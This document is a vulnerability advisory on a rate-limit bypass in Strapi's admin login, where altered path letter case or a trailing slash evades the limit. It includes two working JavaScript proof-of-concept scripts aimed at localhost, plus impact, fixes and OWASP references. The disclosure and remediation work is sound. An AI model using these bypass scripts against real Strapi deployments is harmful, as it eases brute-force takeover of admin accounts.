Strapi Improper Rate Limiting vulnerability

1. Summary

There is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it.

2. Details

It is possible to avoid this by modifying the rate-limited request path as follows.

1. Manipulating request paths to upper or lower case. (Pattern 1)
   • In this case, avoidance is possible with various patterns.
2. Add path slashes to the end of the request path. (Pattern 2)

3. PoC

Access the administrator's login screen (/admin/auth/login) and execute the following PoC on the browser's console screen.

Pattern 1 (uppercase and lowercase)

// poc.js
(async () => {
  const data1 = {
    email: "[email protected]",   // registered e-mail address
    password: "invalid_password",
  };
  const data2 = {
    email: "[email protected]",
    password: "RyG5z-CE2-]*4e4",   // correct password
  };

  for (let i = 0; i < 30; i++) {
    await fetch("http://localhost:1337/admin/login", {
      method: "POST",
      body: JSON.stringify(data1),
      headers: {
        "Content-Type": "application/json",
      },
    });
  }

  const res1 = await fetch("http://localhost:1337/admin/login", {
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res1.status + " " + res1.statusText);

  const res2 = await fetch("http://localhost:1337/admin/Login", {  // capitalize part of path
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res2.status + " " + res2.statusText);
})();

This PoC does the following:

1. Request 30 incorrect logins.
2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (429 Too Many Requests)
3. Next, falsify the pathname of the request (/admin/Login) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)

Pattern 2 (trailing slash)

// poc.js
(async () => {
  const data1 = {
    email: "[email protected]",   // registered e-mail address
    password: "invalid_password",
  };
  const data2 = {
    email: "[email protected]",
    password: "RyG5z-CE2-]*4e4",   // correct password
  };

  for (let i = 0; i < 30; i++) {
    await fetch("http://localhost:1337/admin/login", {
      method: "POST",
      body: JSON.stringify(data1),
      headers: {
        "Content-Type": "application/json",
      },
    });
  }

  const res1 = await fetch("http://localhost:1337/admin/login", {
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res1.status + " " + res1.statusText);

  const res2 = await fetch("http://localhost:1337/admin/login/", {  // trailing slash
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res2.status + " " + res2.statusText);
})();

This PoC does the following:

1. Request 30 incorrect logins.
2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (429 Too Many Requests)
3. Next, falsify the pathname of the request (/admin/login/) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)

PoC Video

• PoC Video

4. Impact

It is possible to bypass the rate limit of the login function of the admin screen. Therefore, the possibility of unauthorized login by login brute force attack increases.

5. Measures

Forcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (ctx.request.path)
Also, remove any extra slashes in the request path.

https://github.com/strapi/strapi/blob/32d68f1f5677ed9a9a505b718c182c0a3f885426/packages/core/admin/server/middlewares/rateLimit.js#L31

6. References

• OWASP: API2:2023 Broken Authentication
• OWASP: Authentication Cheat Sheet
• OWASP: Denial of Service Cheat Sheet (Rate limiting)